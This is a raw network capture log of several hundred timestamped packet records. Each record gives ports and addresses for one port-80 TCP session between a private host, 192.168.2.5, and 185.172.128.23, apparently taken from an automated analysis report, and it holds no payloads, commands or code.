Apr 17, 2024 09:17:13.235677958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.235722065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.235733986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.235744953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.235783100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.235822916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.235862970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.235901117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.235902071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.235902071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.235902071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.235902071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.235934973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.235939980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.235977888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.235989094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.236013889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.236018896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.236047029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.236057997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.236063957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.236112118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.236125946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.236176968 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.236181021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.236218929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.236227036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.236255884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.236255884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.236303091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.251007080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.251071930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.251163960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.251163960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.263238907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.263298988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.263341904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.263411999 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.263412952 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.263611078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.263967991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.264010906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.264058113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.264509916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.264549017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.264559031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.264594078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.265440941 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.265496016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266222000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266278982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266290903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266330957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266335964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266371965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266380072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266434908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266439915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266485929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266506910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266545057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266551018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266585112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266590118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266623974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266633987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266663074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266671896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266701937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266705036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266741991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266758919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266784906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266788960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266825914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.266830921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.266863108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.284595013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.284636021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.284668922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.284694910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.313117981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.313271046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.330204964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.330262899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.330296040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.330302954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.330339909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.330347061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.330351114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.330388069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.330421925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.330436945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333105087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333167076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333192110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333233118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333239079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333271980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333277941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333309889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333317041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333354950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333401918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333447933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333473921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333530903 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333533049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333576918 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333611965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333650112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333657026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333688021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333693981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333734035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333837032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333875895 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333884954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333914995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333925962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.333954096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.333961010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334002018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334016085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334055901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334062099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334094048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334100008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334148884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334219933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334259033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334362984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334382057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334419966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334428072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334459066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334466934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334496975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334506035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334534883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334573030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334583998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334593058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334624052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334630013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334645033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334670067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334683895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334707975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334748030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334755898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334784985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334798098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334824085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334850073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334863901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334883928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334902048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334913969 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334940910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.334964037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.334979057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335001945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335028887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335037947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335076094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335113049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335119009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335192919 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335205078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335272074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335282087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335310936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335319996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335349083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335369110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335390091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335398912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335427046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335437059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335464954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335475922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335503101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335516930 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335541010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335547924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.335580111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.335586071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.336273909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.342425108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.342464924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.342524052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.350301981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.350363016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.389821053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.389883041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.389982939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.389982939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.390032053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.390120983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.390125036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.390161037 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.390171051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.390198946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.390203953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.390235901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.390240908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.390274048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.390290976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.390311003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.390319109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.390348911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.390357018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.390403986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.390408993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.390443087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.390453100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.390489101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.391491890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.391566992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.391577959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.391627073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.391743898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.391783953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.391798973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.391825914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.391836882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.391872883 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.394783020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.394982100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.397444010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.397502899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.399418116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.399473906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.399719000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.399759054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.399771929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.399796963 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.399806976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.399835110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.399846077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.399873018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.399883032 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.399914026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.399919987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.399951935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.399967909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.399990082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.400002003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.400028944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.400034904 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.400068045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.400077105 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.400270939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.400427103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.400542021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.400600910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.400602102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.400640965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.400650978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.400679111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.400687933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.400726080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401060104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401122093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401139975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401185989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401200056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401238918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401246071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401277065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401285887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401324034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401335001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401376009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401405096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401448965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401460886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401505947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401513100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401563883 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401609898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401667118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401680946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401717901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401726961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401771069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401779890 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401825905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401832104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401866913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401873112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.401949883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401987076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.401994944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402040005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402075052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402112007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402126074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402151108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402163982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402203083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402246952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402292013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402312040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402340889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402344942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402383089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402393103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402419090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402431011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402456045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402466059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402493000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402503967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402529001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402535915 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402565956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402571917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402602911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402609110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402638912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402645111 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402676105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402681112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402712107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402718067 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402749062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402754068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402785063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402791023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.402822018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.402827024 CEST	49704	80	192.168.2.5	185.172.128.23
